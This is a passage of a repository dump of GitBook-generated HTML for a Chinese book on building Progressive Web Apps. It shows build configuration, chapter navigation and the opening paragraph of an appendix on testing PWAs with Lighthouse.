评分指南\",\"level\":\"1.11.2\",\"depth\":2,\"path\":\"appendix01/2-lighthouse-score-guide.md\",\"ref\":\"appendix01/2-lighthouse-score-guide.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"appendix01/3-lighthouse-case.md\",\"mtime\":\"2019-06-19T10:37:41.874Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/appendix01.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>附录1 使用 Lighthouse 测评 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"appendix01/1-lighthouse.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter09/4-preload-pwa.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >附录1 使用 Lighthouse 测评 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><b></b>&#x4F7F;&#x7528; Lighthouse &#x6D4B;&#x8BC4; PWA</a></li></ul></div><a href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><a name=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-lighthouse-&#x6D4B;&#x8BC4;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; Lighthouse &#x6D4B;&#x8BC4; PWA</h1>\n<p>&#x5B8C;&#x6210;&#x4E86; PWA &#x7AD9;&#x70B9;&#x7684;&#x5F00;&#x53D1;&#x4E4B;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x8BC4;&#x4F30;&#x548C;&#x6D4B;&#x8BD5;&#xFF0C;&#x4E86;&#x89E3;&#x5176;&#x6027;&#x80FD;&#x662F;&#x5426;&#x8FBE;&#x6807;&#x3001;&#x662F;&#x5426;&#x7B26;&#x5408; PWA &#x89C4;&#x8303;&#x7B49;&#x3002;&#x672C;&#x7AE0;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x4ECB;&#x7ECD;&#x4E00;&#x6B3E; Web App &#x7684;&#x6D4B;&#x8BC4;&#x5DE5;&#x5177; &#x2014;&#x2014; Lighthouse &#x7684;&#x4F7F;&#x7528;&#xFF0C;&#x901A;&#x8FC7;&#x5B83;&#x7684;&#x5E2E;&#x52A9;&#xFF0C;&#x6211;&#x4EEC;&#x80FD;&#x591F;&#x8FDB;&#x4E00;&#x6B65;&#x4E86;&#x89E3; PWA &#x7684;&#x7F3A;&#x9677;&#x548C;&#x4E0D;&#x8DB3;&#xFF0C;&#x6709;&#x9488;&#x5BF9;&#x6027;&#x5730;&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x5B8C;&#x5584;&#x548C;&#x6539;&#x8FDB;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 